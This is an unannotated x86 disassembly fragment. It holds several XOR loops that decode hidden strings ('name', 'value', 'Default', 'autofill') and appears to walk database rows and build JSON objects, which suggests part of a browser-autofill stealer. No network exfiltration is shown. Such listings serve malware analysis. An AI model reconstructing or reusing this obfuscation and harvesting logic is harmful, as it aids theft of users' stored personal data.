jne 0x4246ae
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x100]
push 0
mov byte [ebp - 0x108], 0
call fcn.00467a60
mov byte [ebp - 4], 0x21
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x160], xmm0
mov byte [ebp - 0x168], 3
call fcn.004dd1e0
mov esi, eax
add esp, 4
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x17c], esi
mov ecx, dword [ebp - 0x44]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x22
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424710
sub ecx, edx
push ecx
push dword [ebp - 0x44]
mov ecx, esi
call fcn.004028a0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x86], 0xd9d6dbd7
mov word [ebp - 0x82], 0x100
nop dword [eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x86], al
inc ecx
cmp ecx, 4
jb 0x424750
lea eax, [ebp - 0x86]
mov byte [ebp - 0x81], 0
push eax
lea ecx, [ebp - 0x108]
call fcn.0046a110
mov esi, eax
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x15c]
mov edi, dword [ebp - 0x1c]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x168], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x160], ecx
lea ecx, [ebp - 0x168]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x15c], edx
call fcn.00463bb0
xorps xmm0, xmm0
mov byte [ebp - 0x178], 3
push 0x18
movq qword [ebp - 0x170], xmm0
call fcn.004dd1e0
mov esi, eax
add esp, 4
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x184], esi
mov ecx, dword [ebp - 0x38]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x24
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424800
sub ecx, edx
push ecx
push dword [ebp - 0x38]
mov ecx, esi
call fcn.004028a0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x170], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x67], 0xc9d7dbcf
mov word [ebp - 0x63], 0xd8
mov byte [ebp - 0x61], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 5
jb 0x424840
mov al, byte [ebp - 0x108]
mov byte [ebp - 0x61], 0
test al, al
jne 0x424890
push 1
lea ecx, [ebp - 0x190]
mov byte [ebp - 0x108], 1
call fcn.00467a60
mov eax, dword [ebp - 0x18c]
mov esi, dword [ebp - 0x190]
mov dword [ebp - 0xfc], eax
mov al, byte [ebp - 0x108]
mov dword [ebp - 0x100], esi
jmp 0x424896
mov esi, dword [ebp - 0x100]
cmp al, 1
jne 0x424cce
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
lea edx, [ebp - 0x67]
mov dword [ebp - 0x6c], 0
movups xmmword [ebp - 0x80], xmm0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4248c0
sub edx, ecx
lea eax, [ebp - 0x67]
push edx
push eax
lea ecx, [ebp - 0x80]
call fcn.004028a0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0x26
push eax
mov ecx, esi
call fcn.0046d310
mov byte [ebp - 4], 0x25
mov esi, eax
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x42491f
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424915
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 0x21
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x178], al
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], ecx
lea ecx, [ebp - 0x178]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x16c], edx
call fcn.00463bb0
mov eax, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x40]
cmp dword [eax + 0x10], 0
jbe 0x424990
push eax
lea ecx, [ebp - 0x13c]
call fcn.00466110
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x14]
or ecx, 0x20
jmp 0x4249f7
mov dword [ebp - 0x2d], 0xdddddffd
xor ecx, ecx
mov dword [ebp - 0x29], 0xcbd2c8
mov byte [ebp - 0x25], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 7
jb 0x4249a4
xorps xmm0, xmm0
mov byte [ebp - 0x25], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4249d1
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.004028a0
mov dword [ebp - 4], 0x2a
lea eax, [ebp - 0x80]
mov ecx, dword [ebp - 0x14]
or ecx, 0x40
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xb8]
push eax
call fcn.00463830
lea ecx, [ebp - 0x108]
push ecx
mov ecx, eax
call fcn.00463550
mov dword [ebp - 4], 0x29
mov eax, dword [ebp - 0x14]
test al, 0x40
je 0x424a77
mov ecx, dword [ebp - 0x6c]
and eax, 0xffffffbf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x424a65
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424a58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
mov dword [ebp - 4], 0x21
test al, 0x20
je 0x424ac5
mov ecx, dword [ebp - 0x128]
and eax, 0xffffffdf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x424ac5
mov edx, dword [ebp - 0x13c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424abb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x1d
call fcn.00463bb0
mov ecx, edi
call fcn.0049f4b0
cmp eax, 0x64
je 0x4243c8
test edi, edi
je 0x424b5c
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x424afe
push eax
call dword [0x535d48]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x3c], 0
cmp eax, 0xbdf20da3
je 0x424b16
cmp eax, 0x519c2973
jne 0x424b20
mov ecx, edi
call fcn.0049e2b0
mov dword [ebp - 0x3c], eax
mov ecx, edi
call fcn.0049e4c0
test esi, esi
je 0x424b4b
cmp byte [esi + 0x1e], 0
jne 0x424b3a
cmp dword [ebp - 0x3c], 0xc0a
jne 0x424b4b
push 0
push 7
push esi
call fcn.0048de70
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x424b5c
push eax
call dword [0x535d50]
add esp, 4
mov ecx, dword [ebp - 0x60]
call fcn.00414fc0
mov dword [ebp - 0x4e], 0xd3cfcfd8
xor ecx, ecx
mov dword [ebp - 0x4a], 0xacd3d7db
mov word [ebp - 0x46], 0x100
nop word [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x424b80
mov ecx, dword [ebp - 0xf0]
lea eax, [ebp - 0x4e]
push eax
mov byte [ebp - 0x45], 0
call fcn.0046a110
lea ecx, [ebp - 0xb8]
push ecx
mov ecx, eax
call fcn.00463550
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x424bed
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424be3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
call fcn.00463bb0
mov esi, dword [ebp - 0xa8]
inc esi
mov dword [ebp - 0xa8], esi
cmp esi, dword [ebp - 0x24]
jb 0x423d54
lea ecx, [ebp - 0x94]
call fcn.00468250
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x424c6e
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424c64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x423827
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42381d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
jmp 0x42381d
push ecx
push edx
call fcn.004dd461
add esp, 8
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402060
call fcn.004e2700
lea ecx, [ebp - 0x108]
call fcn.00467d30
push eax
lea ecx, [ebp - 0x13c]
call fcn.00402760
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1b4]
call fcn.00469ec0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1d0]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x1d0]
push 0x5329f8
push eax
call fcn.004dee4b
lea ecx, [ebp - 0xb8]
call fcn.00467d30
push eax
lea ecx, [ebp - 0x204]
call fcn.00402760
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1cc]
call fcn.00469ec0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1ec]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x1ec]
push 0x5329f8
push eax
call fcn.004dee4b
int3